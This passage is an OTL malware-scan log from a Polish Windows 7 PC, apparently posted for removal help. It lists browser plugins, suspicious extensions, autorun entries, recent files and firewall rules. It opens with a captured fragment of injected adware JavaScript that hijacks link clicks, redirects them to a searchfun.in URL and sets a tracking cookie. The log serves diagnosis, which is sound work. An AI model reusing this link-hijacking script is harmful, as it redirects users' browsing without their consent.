zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://r.searchfun.in/?g=Azm9CdOLv6D6DG4ZhyqZC7YKg70Jv6qTCMVEDc0EgeqRg6bJvNbOCd0GojsGrjUErchXCMhMofb5vNbIDeDPBMY%3D\");var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};})();(function(){void(0)})()");
FF - prefs.js..extensions.enabledAddons: {af16abf4-eac1-49b4-93fc-58f6ca799135}:1.0.1
FF - user.js - File not found

FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF32_14_0_0_145.dll ()
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=10.21.2: C:\Windows\system32\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=10.21.2: C:\Program Files\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: C:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WLPG,version=16.4.3505.0912: C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVision: C:\Program Files\NVIDIA Corporation\3D Vision\npnv3dv.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVisionStreaming: C:\Program Files\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@pandonetworks.com/PandoWebPlugin: C:\Program Files\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF - HKCU\Software\MozillaPlugins\pandonetworks.com/PandoWebPlugin: C:\Program Files\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)

FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 12.0\extensions\\Components: C:\Program Files\Mozilla Firefox\components [2014-06-13 15:19:28 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 12.0\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins [2013-06-13 16:42:30 | 000,000,000 | ---D | M]

[2011-10-19 16:22:43 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Norbert\AppData\Roaming\mozilla\Extensions
[2014-09-07 12:53:01 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions
[2014-06-24 00:57:28 | 000,000,000 | ---D | M] (ToggleMark) -- C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135}
[2014-09-04 13:44:05 | 000,000,000 | ---D | M] (priocechop) -- C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\usuco@eckbf.com
[2012-06-10 11:16:01 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\extensions
[2014-08-08 11:11:20 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\browser\extensions
[2014-06-13 15:19:27 | 000,097,208 | ---- | M] (Mozilla Foundation) -- C:\Program Files\mozilla firefox\components\browsercomps.dll
[2011-07-11 23:48:12 | 000,012,800 | ---- | M] (Nullsoft, Inc.) -- C:\Program Files\mozilla firefox\plugins\npwachk.dll
[2014-06-13 15:19:21 | 000,002,767 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\allegro-pl.xml
[2014-06-13 15:19:21 | 000,001,406 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\fbc-pl.xml
[2014-06-13 15:19:21 | 000,000,917 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\merlin-pl.xml
[2014-06-13 15:19:21 | 000,000,858 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\pwn-pl.xml
[2014-06-13 15:19:21 | 000,001,183 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\wikipedia-pl.xml
[2014-06-13 15:19:21 | 000,001,683 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\wp-pl.xml

========== Chrome ==========

CHR - default_search_provider: (Enabled)
CHR - default_search_provider: search_url =
CHR - default_search_provider: suggest_url = {google:baseSuggestURL}search?{google:searchFieldtrialParameter}client=chrome&q={searchTerms}&{google:cursorPosition}sugkey={google:suggestAPIKeyParameter}
CHR - homepage:
CHR - plugin: Shockwave Flash (Enabled) = C:\Program Files\Google\Chrome\Application\37.0.2062.103\PepperFlash\pepflashplayer.dll
CHR - plugin: Chrome Remote Desktop Viewer (Enabled) = internal-remoting-viewer
CHR - plugin: Native Client (Enabled) = C:\Program Files\Google\Chrome\Application\37.0.2062.103\ppGoogleNaClPluginChrome.dll
CHR - plugin: Chrome PDF Viewer (Enabled) = C:\Program Files\Google\Chrome\Application\37.0.2062.103\pdf.dll
CHR - plugin: Adobe Acrobat (Enabled) = C:\Program Files\Adobe\Reader 8.0\Reader\Browser\nppdf32.dll
CHR - plugin: Winamp Application Detector (Enabled) = C:\Program Files\Mozilla Firefox\plugins\npwachk.dll
CHR - plugin: AVG SiteSafety plugin (Enabled) = C:\Program Files\Common Files\AVG Secure Search\SiteSafetyInstaller\17.3.0\\npsitesafety.dll
CHR - plugin: Google Update (Enabled) = C:\Program Files\Google\Update\1.3.21.145\npGoogleUpdate3.dll
CHR - plugin: Java(TM) Platform SE 7 U21 (Enabled) = C:\Program Files\Java\jre7\bin\plugin2\npjp2.dll
CHR - plugin: Silverlight Plug-In (Enabled) = C:\Program Files\Microsoft Silverlight\5.1.10411.0\npctrl.dll
CHR - plugin: NVIDIA 3D Vision (Enabled) = C:\Program Files\NVIDIA Corporation\3D Vision\npnv3dv.dll
CHR - plugin: NVIDIA 3D VISION (Enabled) = C:\Program Files\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll
CHR - plugin: Pando Web Plugin (Enabled) = C:\Program Files\Pando Networks\Media Booster\npPandoWebPlugin.dll
CHR - plugin: Photo Gallery (Enabled) = C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll
CHR - plugin: Shockwave Flash (Enabled) = C:\Windows\system32\Macromed\Flash\NPSWF32_11_9_900_170.dll
CHR - plugin: Java Deployment Toolkit 7.0.210.11 (Enabled) = C:\Windows\system32\npDeployJava1.dll
CHR - default_search_provider: ACE95BF42B7147FC7BF9C4FCC233F8181F55E09F0AABF7F614A5F19FE6B08C17 (Enabled)
CHR - default_search_provider: search_url = 672ACCB95332C020DB3DFA51378929FAE0BD382D7B68D95D9E722543C0599AE0
CHR - default_search_provider: suggest_url = {google:baseSuggestURL}search?{google:searchFieldtrialParameter}client=chrome&q={searchTerms}&{google:cursorPosition}sugkey={google:suggestAPIKeyParameter}
CHR - homepage: 9BCF214508E92ADB67842EF20F8411FC1D6F7D722661B27F477827EE72A6C526
CHR - Extension: Google Wallet = C:\Users\Norbert\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0\

O1 HOSTS File: ([2009-06-10 23:39:37 | 000,000,824 | ---- | M]) - C:\Windows\System32\drivers\etc\hosts
O2 - BHO: (Adobe PDF Reader Link Helper) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelper.dll (Adobe Systems Incorporated)
O2 - BHO: (Java(tm) Plug-In SSV Helper) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre7\bin\ssv.dll (Oracle Corporation)
O2 - BHO: (Skype Click to Call for Internet Explorer) - {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O2 - BHO: (Java(tm) Plug-In 2 SSV Helper) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)
O3 - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\Toolbar\WebBrowser: (no name) - {E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} - No CLSID value found.
O4 - HKLM..\Run: [Creative SB Monitoring Utility] C:\Windows\System32\SBAVMon.dll (Creative Technology Ltd.)
O4 - HKLM..\Run: [fst_pl_138] File not found
O4 - HKLM..\Run: [Module Loader] C:\Program Files\Creative\Shared Files\Module Loader\DLLML.exe (Creative Technology Ltd.)
O4 - HKLM..\Run: [VolPanel] C:\Program Files\Creative\Sound Blaster X-Fi Surround 5.1 Pro\Volume Panel\VolPanlu.exe (Creative Technology Ltd)
O4 - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003..\Run: [AVG-Secure-Search-Update_JUNE2013_TB] "C:\Program Files\AVG Secure Search\AVG-Secure-Search-Update_JUNE2013_TB.exe" /PROMPT /CMPID=JUNE2013_TB File not found
O4 - HKU\S-1-5-19..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (Microsoft Corporation)
O4 - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (Microsoft Corporation)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O9 - Extra 'Tools' menuitem : Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - Reg Error: Key error. File not found
O9 - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O13 - gopher Prefix: missing
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{4EECC0A2-913A-4990-AE20-E581F4DEA847}: DhcpNameServer = 192.168.1.1
O18 - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\System32\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: VMApplet - (SystemPropertiesPerformance.exe) - C:\Windows\System32\SystemPropertiesPerformance.exe (Microsoft Corporation)
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2009-06-10 23:42:20 | 000,000,024 | ---- | M] () - C:\autoexec.bat -- [ NTFS ]
O32 - AutoRun File - [2000-04-12 15:33:18 | 000,539,648 | ---- | M] (Cash 4 You) - D:\autoaaa.exe -- [ NTFS ]
O33 - MountPoints2\J\Shell - "" = AutoRun
O33 - MountPoints2\J\Shell\AutoRun\command - "" = J:\_AUTORUN\AUTORUN.EXE
O34 - HKLM BootExecute: (autocheck autochk *)
O34 - HKLM BootExecute: (MACHINE BootExecut)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)

========== Files/Folders - Created Within 30 Days ==========

[2014-09-08 14:51:26 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\Norbert\Desktop\OTL_[www.programosy.pl].exe
[2014-09-04 00:49:23 | 000,536,576 | ---- | C] (SQLite Development Team) -- C:\Windows\System32\sqlite3.dll
[2014-09-04 00:47:57 | 000,000,000 | ---D | C] -- C:\AdwCleaner
[2014-09-04 00:43:34 | 000,895,120 | ---- | C] (Google Inc.) -- C:\Users\Norbert\Desktop\ChromeSetup.exe
[2014-08-19 15:24:22 | 000,000,000 | ---D | C] -- C:\Users\Norbert\AppData\Roaming\BRT

========== Files - Modified Within 30 Days ==========

[2014-09-08 14:51:28 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Norbert\Desktop\OTL_[www.programosy.pl].exe
[2014-09-08 14:51:06 | 000,380,416 | ---- | M] () -- C:\Users\Norbert\Desktop\bjigbhkt.exe
[2014-09-08 14:49:27 | 000,001,038 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2014-09-08 14:49:18 | 000,013,296 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2014-09-08 14:49:18 | 000,013,296 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2014-09-08 09:43:02 | 000,001,034 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2014-09-08 09:43:02 | 000,000,350 | ---- | M] () -- C:\Windows\tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
[2014-09-08 09:43:02 | 000,000,280 | ---- | M] () -- C:\Windows\tasks\RtlNICDiagVistaStart.job
[2014-09-08 09:42:54 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2014-09-08 09:42:49 | 1609,965,568 | -HS- | M] () -- C:\hiberfil.sys
[2014-09-04 21:52:15 | 136,064,325 | ---- | M] () -- C:\Users\Norbert\Desktop\Mystery System - Members Of Pumpingland Promo Mix.mp3
[2014-09-04 00:47:33 | 001,370,483 | ---- | M] () -- C:\Users\Norbert\Desktop\AdwCleaner.exe
[2014-09-04 00:45:29 | 000,002,211 | ---- | M] () -- C:\Users\Public\Desktop\Google Chrome.lnk
[2014-09-04 00:43:49 | 000,895,120 | ---- | M] (Google Inc.) -- C:\Users\Norbert\Desktop\ChromeSetup.exe
[2014-09-03 14:51:27 | 000,737,330 | ---- | M] () -- C:\Windows\System32\perfh015.dat
[2014-09-03 14:51:27 | 000,651,538 | ---- | M] () -- C:\Windows\System32\perfh009.dat
[2014-09-03 14:51:27 | 000,154,018 | ---- | M] () -- C:\Windows\System32\perfc015.dat
[2014-09-03 14:51:27 | 000,120,470 | ---- | M] () -- C:\Windows\System32\perfc009.dat
[2014-09-02 23:19:30 | 061,797,425 | ---- | M] () -- C:\Users\Norbert\Desktop\Pumpingland - Crouzer (Promo Mix).mp3
[2014-09-02 23:16:03 | 142,853,627 | ---- | M] () -- C:\Users\Norbert\Desktop\Members of Pumpingland - Nesket.mp3
[2014-09-02 23:08:45 | 089,542,217 | ---- | M] () -- C:\Users\Norbert\Desktop\Pumpingland - Dcibelia #1 [Star Project Live audio mix].mp3
[2014-09-02 23:08:45 | 089,542,217 | ---- | M] () -- C:\Users\Norbert\Desktop\Pumpingland - Dcibelia #1 [Star Project Live audio mix] - Kopia.mp3
[2014-09-01 19:51:16 | 005,204,342 | ---- | M] () -- C:\Users\Norbert\Desktop\Metin2Mod_PL_31082014_1.exe
[2014-08-31 15:09:04 | 114,245,570 | ---- | M] () -- C:\Users\Norbert\Desktop\Pumpingland - Tega (Promo Mix).mp3
[2014-08-31 15:03:17 | 104,251,100 | ---- | M] () -- C:\Users\Norbert\Desktop\Pumpingland - Magnes Club #2 [Tega Live audio mix].mp3
[2014-08-31 14:53:52 | 082,024,419 | ---- | M] () -- C:\Users\Norbert\Desktop\PUMPINGLAND 2014 PROMO CHEEZE.mp3
[2014-08-26 01:49:30 | 000,412,112 | ---- | M] () -- C:\Windows\System32\FNTCACHE.DAT
[2014-08-15 13:39:53 | 000,000,402 | RHS- | M] () -- C:\ProgramData\ntuser.pol
[2014-08-12 10:49:39 | 000,042,784 | ---- | M] (AVG Technologies) -- C:\Windows\System32\drivers\avgtpx86.sys

========== Files Created - No Company Name ==========

[2014-09-08 14:50:46 | 000,380,416 | ---- | C] () -- C:\Users\Norbert\Desktop\bjigbhkt.exe
[2014-09-05 12:43:56 | 136,064,325 | ---- | C] () -- C:\Users\Norbert\Desktop\Mystery System - Members Of Pumpingland Promo Mix.mp3
[2014-09-04 00:47:25 | 001,370,483 | ---- | C] () -- C:\Users\Norbert\Desktop\AdwCleaner.exe
[2014-09-04 00:44:25 | 000,001,038 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2014-09-04 00:44:23 | 000,001,034 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2014-09-03 14:47:27 | 089,542,217 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Dcibelia #1 [Star Project Live audio mix] - Kopia.mp3
[2014-09-02 23:17:26 | 061,797,425 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Crouzer (Promo Mix).mp3
[2014-09-02 23:12:54 | 142,853,627 | ---- | C] () -- C:\Users\Norbert\Desktop\Members of Pumpingland - Nesket.mp3
[2014-09-02 23:07:10 | 089,542,217 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Dcibelia #1 [Star Project Live audio mix].mp3
[2014-09-01 19:49:19 | 005,204,342 | ---- | C] () -- C:\Users\Norbert\Desktop\Metin2Mod_PL_31082014_1.exe
[2014-08-31 15:07:33 | 114,245,570 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Tega (Promo Mix).mp3
[2014-08-31 15:01:47 | 104,251,100 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Magnes Club #2 [Tega Live audio mix].mp3
[2014-08-31 14:51:52 | 082,024,419 | ---- | C] () -- C:\Users\Norbert\Desktop\PUMPINGLAND 2014 PROMO CHEEZE.mp3
[2014-08-31 14:48:30 | 102,690,300 | ---- | C] () -- C:\Users\Norbert\Desktop\Pumpingland - Sonic Mine (Promo Mix).mp3
[2014-08-26 01:49:16 | 000,412,112 | ---- | C] () -- C:\Windows\System32\FNTCACHE.DAT
[2014-07-24 11:22:19 | 000,001,114 | ---- | C] () -- C:\Users\Norbert\Dokumenty.lnk
[2014-07-13 23:56:55 | 000,000,402 | RHS- | C] () -- C:\ProgramData\ntuser.pol
[2013-08-04 10:44:26 | 000,181,760 | ---- | C] () -- C:\Windows\System32\APOMngr.DLL
[2013-08-04 10:44:26 | 000,073,728 | ---- | C] () -- C:\Windows\System32\CmdRtr.DLL
[2013-06-14 16:50:41 | 000,002,236 | ---- | C] () -- C:\Windows\System32\ASOROSet.bin
[2013-06-12 22:21:47 | 000,003,584 | ---- | C] () -- C:\Users\Norbert\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2012-12-09 22:13:24 | 000,000,000 | ---- | C] () -- C:\ProgramData\LauncherAccess.dt
[2012-12-09 22:09:50 | 000,005,632 | ---- | C] () -- C:\Windows\System32\drivers\StarOpen.sys
[2011-12-07 17:53:47 | 000,001,772 | ---- | C] () -- C:\ProgramData\cfSB1095.ini

========== ZeroAccess Check ==========

[2009-07-14 06:42:31 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini

[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]

[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2009-07-14 03:16:14 | 012,866,560 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2009-07-14 03:15:20 | 000,605,696 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = %systemroot%\system32\wbem\wbemess.dll -- [2009-07-14 03:16:17 | 000,342,528 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both

========== LOP Check ==========

[2013-06-20 12:53:06 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\0D1F1S1C1P0P1C1F1N1C1T1H2UtF1E1I
[2012-10-07 09:05:04 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\2K Sports
[2014-03-31 15:14:42 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Audacity
[2014-08-19 15:24:23 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\BRT
[2012-10-19 22:23:55 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Canneverbe Limited
[2014-06-23 18:24:52 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\DAEMON Tools Lite
[2012-10-15 23:05:58 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\EurekaLog
[2011-09-17 14:08:40 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Gadu-Gadu 10
[2013-07-05 21:26:40 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Grupa IMAGE
[2011-10-31 20:19:42 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Image-Line
[2011-09-17 21:42:01 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\LolClient
[2012-05-25 15:29:07 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\LolClient2
[2011-11-14 21:56:41 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\OpenFM
[2011-09-17 13:01:35 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Opera
[2013-06-19 15:27:07 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Opera Software
[2012-02-13 21:12:54 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Publish Providers
[2013-07-08 20:46:46 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Riot Games
[2012-12-09 22:14:11 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Samsung
[2012-10-19 18:46:43 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\Sony
[2014-08-25 12:14:39 | 000,000,000 | ---D | M] -- C:\Users\Norbert\AppData\Roaming\TS3Client

========== Purity Check ==========



< End of report >

OTL Extras logfile created on: 2014-09-08 15:34:04 - Run 5
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Norbert\Desktop
Ultimate Edition (Version = 6.1.7600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.7600.16385)
Locale: 00000415 | Country: Polska | Language: PLK | Date Format: yyyy-MM-dd

2,00 Gb Total Physical Memory | 0,92 Gb Available Physical Memory | 46,08% Memory free
4,00 Gb Paging File | 2,18 Gb Available in Paging File | 54,44% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files
Drive C: | 40,03 Gb Total Space | 12,76 Gb Free Space | 31,89% Space Free | Partition Type: NTFS
Drive D: | 74,37 Gb Total Space | 57,39 Gb Free Space | 77,18% Space Free | Partition Type: NTFS
Drive F: | 100,00 Mb Total Space | 61,41 Mb Free Space | 61,42% Space Free | Partition Type: NTFS
Drive G: | 49,90 Gb Total Space | 29,93 Gb Free Space | 59,97% Space Free | Partition Type: NTFS
Drive H: | 91,44 Gb Total Space | 13,50 Gb Free Space | 14,77% Space Free | Partition Type: NTFS
Drive I: | 91,44 Gb Total Space | 90,71 Gb Free Space | 99,19% Space Free | Partition Type: NTFS

Computer Name: NORBERTKOMPUTER | User Name: Norbert | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

========== Extra Registry (SafeList) ==========


========== File Associations ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- C:\Windows\System32\control.exe (Microsoft Corporation)
.hlp [@ = hlpfile] -- C:\Windows\winhlp32.exe (Microsoft Corporation)
.html [@ = ChromeHTML] -- C:\Program Files\Google\Chrome\Application\chrome.exe (Google Inc.)

[HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1000\SOFTWARE\Classes\<extension>]
.html [@ = ChromeHTML] -- Reg Error: Key error. File not found

========== Shell Spawning ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- %SystemRoot%\System32\control.exe "%1",%* (Microsoft Corporation)
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
hlpfile [open] -- %SystemRoot%\winhlp32.exe %1 (Microsoft Corporation)
http [open] -- "C:\Program Files\Google\Chrome\Application\chrome.exe" -- "%1" (Google Inc.)
https [open] -- "C:\Program Files\Google\Chrome\Application\chrome.exe" -- "%1" (Google Inc.)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- Reg Error: Key error.
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Directory [Winamp.Bookmark] -- "D:\Program Files\Winamp\winamp.exe" /BOOKMARK "%1" (Nullsoft, Inc.)
Directory [Winamp.Enqueue] -- "D:\Program Files\Winamp\winamp.exe" /ADD "%1" (Nullsoft, Inc.)
Directory [Winamp.Play] -- "D:\Program Files\Winamp\winamp.exe" "%1" (Nullsoft, Inc.)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)

========== Security Center Settings ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"cval" = 1

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
"VistaSp1" = Reg Error: Unknown registry data type -- File not found
"AntiVirusOverride" = 0
"AntiSpywareOverride" = 0
"FirewallOverride" = 0

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Vol]

========== Firewall Settings ==========

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1

========== Authorized Applications List ==========


========== Vista Active Open Ports Exception List ==========

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{02501ED9-3B50-4924-AA99-0A74A61B7014}" = rport=2177 | protocol=17 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{03F9B891-EC78-4469-A25D-6B29F0A788F8}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\google\chrome\application\chrome.exe |
"{05813A7C-59B1-4846-9B2D-7EB85744A07E}" = lport=137 | protocol=17 | dir=in | app=system |
"{0B12E644-0905-49A6-90B5-16BB9F2843C3}" = lport=138 | protocol=17 | dir=in | app=system |
"{13F28E5A-2387-4B44-AB1B-75C38E6EC43E}" = rport=10243 | protocol=6 | dir=out | app=system |
"{15D37DDC-9632-432E-9357-C34B31058E29}" = lport=445 | protocol=6 | dir=in | app=system |
"{1D87FA35-611F-4CD3-8DDB-1078E06ED0BE}" = lport=56228 | protocol=17 | dir=in | name=pando media booster |
